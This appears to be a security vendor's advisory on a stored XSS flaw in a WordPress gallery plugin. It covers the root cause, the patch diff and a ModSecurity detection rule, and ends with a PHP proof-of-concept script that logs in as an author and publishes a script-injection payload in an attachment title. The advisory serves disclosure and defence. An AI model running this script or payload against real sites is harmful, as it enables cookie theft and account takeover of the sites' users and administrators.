Atomic Edge analysis of CVE-2026-65519:
The Photo Gallery – GT3 Image Gallery & Gutenberg Block Gallery plugin for WordPress, versions up to and including 2.7.7.29, contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue resides in the gallery shortcode rendering logic where attachment post titles are inserted directly into the HTML ‘title’ attribute without proper output escaping. Atomic Edge research confirms this allows authenticated users with author-level permissions or higher to inject arbitrary web scripts that execute in the context of any user viewing the affected gallery page. The vulnerability has a CVSS score of 6.4 and is classified under CWE-79.
Root Cause:
The vulnerability exists in the file `gt3-photo-video-gallery/core/actions/gt3pg_gallery_shortcode.php`. In the vulnerable version, at approximately line 318, the code constructs an HTML title attribute using the `$attachment->post_title` value directly. The specific line is: `$attrTitle = isset($atts[‘showTitle’]) && $atts[‘showTitle’] == ‘1’ ? ‘ title=”‘.$attachment->post_title.'”‘ : ”;`. This concatenation lacks any form of sanitization or output escaping. The `post_title` field for attachments in WordPress is normally controlled by the user, meaning an attacker with author-level access can create an attachment with a malicious title containing JavaScript. When the gallery shortcode renders, this unsanitized title becomes part of the HTML output, and any script payload within the title attribute is executed by the browser.
Exploitation:
An attacker with author-level credentials first crafts an attachment or modifies an existing one to have a malicious post title. This is achieved through the standard WordPress media upload interface or the post editor, where the title field is accessible. The payload would be something like `”>alert(document.cookie)` to break out of the title attribute context. The attacker then embeds the vulnerable gallery shortcode (e.g., `[gt3pg]`) into a page or post, ensuring the `showTitle` attribute is set to `1` in the shortcode parameters to trigger the vulnerable code path. When any user, including administrators, visits the published page, the injected script executes within their browser session. The attack requires no direct HTTP request to the plugin’s files; it relies on the standard WordPress content creation and rendering flow.
Patch Analysis:
The patch modifies the vulnerable line in `gt3-photo-video-gallery/core/actions/gt3pg_gallery_shortcode.php` by wrapping the `$attachment->post_title` value with WordPress’s `esc_attr()` function. The patched line is: `$attrTitle = isset($atts[‘showTitle’]) && $atts[‘showTitle’] == ‘1’ ? ‘ title=”‘.esc_attr($attachment->post_title).'”‘ : ”;`. The `esc_attr()` function HTML-encodes special characters such as “, `”`, and `&`, preventing them from being interpreted as markup or breaking out of the attribute context. This patch neutralizes the XSS payload by rendering it as inert text within the title attribute. The plugin version is also incremented from 2.7.7.29 to 2.7.7.30 to signal the security fix.
Impact:
Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary JavaScript in the browsers of other users, including site administrators. This can lead to full account takeover by stealing session cookies, forcing actions via CSRF, defacing the site, or exfiltrating sensitive data. While the CVSS score is 6.4 (medium severity), the practical impact is high because a single compromised author account can compromise the entire WordPress installation’s security. The vulnerability does not directly lead to remote code execution on the server, but the client-side script execution can be leveraged for privilege escalation or further attacks against the server if additional vulnerabilities are chained.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/gt3-photo-video-gallery/core/actions/gt3pg_gallery_shortcode.php
+++ b/gt3-photo-video-gallery/core/actions/gt3pg_gallery_shortcode.php
@@ -315,7 +315,7 @@
if(isset($image_meta['height'], $image_meta['width']) && $atts['thumb_type'] !== 'masonry') {
$orientation = ($image_meta['height'] < $image_meta['width']) ? 'landscape' : 'portrait';
}
- $attrTitle = isset($atts['showTitle']) && $atts['showTitle'] == '1' ? ' title="'.$attachment->post_title.'"' : '';
+ $attrTitle = isset($atts['showTitle']) && $atts['showTitle'] == '1' ? ' title="'.esc_attr($attachment->post_title).'"' : '';
$image_output =
'<div class="gt3pg_img_wrap '.$orientation.'" style="background-image: url('.$media_url.');" data-width="'.$img_src_orig[1].'" data-height="'.$img_src_orig[2].'" data-i="'.$i.'" '.$attrTitle.'>
--- a/gt3-photo-video-gallery/gt3-photo-video-gallery.php
+++ b/gt3-photo-video-gallery/gt3-photo-video-gallery.php
@@ -4,7 +4,7 @@
** Plugin URI: https://gt3themes.com/
** Description: This powerful plugin lets you extend the functionality of the default WordPress gallery. You can easily customize the look and feel of the photo or video gallery.
** Discover the power of GT3themes products.
- ** Version: 2.7.7.29
+ ** Version: 2.7.7.30
** Author: GT3 Photo Gallery
** Author URI: https://gt3themes.com/
** Text Domain: gt3pg
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@rx /wp-admin/post.php|/wp-admin/post-new.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-65519 via GT3 Gallery XSS',severity:'CRITICAL',tag:'CVE-2026-65519'"
SecRule ARGS:post_title "@rx <script|javascript:|on[a-z]+s*=|&#x?[0-9a-fA-F]+;" "chain,t:none"
SecRule REQUEST_METHOD "@streq POST" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65519 - Photo Gallery – GT3 Image Gallery & Gutenberg Block Gallery <= 2.7.7.29 - Authenticated (Author+) Stored Cross-Site Scripting
// Configuration - change these values
$target_url = 'http://example.com'; // WordPress root URL
$username = 'author_user'; // Author-level username
$password = 'author_password'; // Author password
// Step 1: Login and get nonce for media upload
$login_url = $target_url . '/wp-login.php';
$post_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_exec($ch);
curl_close($ch);
echo "[+] Logged in as $usernamen";
// Step 2: Create a page with the malicious shortcode
// The payload breaks out of title attribute and injects a script
$payload = '"><script>alert("XSS-Pwned")</script>';
$page_content = '[gt3pg showTitle="1"]';
// Note: The actual attachment with the malicious title needs to be created first
// In practice, could use existing attachment or create one via media upload
// Creating a new attachment via REST API
$upload_url = $target_url . '/wp-json/wp/v2/media';
$upload_data = array(
'title' => $payload,
'slug' => 'malicious-attachment-' . time(),
'status' => 'publish'
);
$ch = curl_init($upload_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($upload_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
$media_result = json_decode($response, true);
if (isset($media_result['id'])) {
echo "[+] Created attachment with ID: " . $media_result['id'] . "n";
echo "[+] Malicious title payload: " . $media_result['title']['raw'] . "n";
} else {
echo "[!] Failed to create attachment. Response: " . $response . "n";
}
// Step 3: Create a post with the visible gallery shortcode
// This post will contain the gallery referencing the malicious attachment
$post_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = array(
'title' => 'Test XSS Gallery',
'content' => '[gt3pg]n',
'status' => 'publish'
);
$ch = curl_init($post_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
$post_result = json_decode($response, true);
if (isset($post_result['link'])) {
echo "[+] Malicious post created: " . $post_result['link'] . "n";
echo "[+] Any user visiting this URL will trigger the XSS payloadn";
} else {
echo "[!] Failed to create post. Response: " . $response . "n";
}
// Cleanup
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
echo "n[+] PoC complete. Vulnerable versions 2.7.7.29 and below will execute the script.n";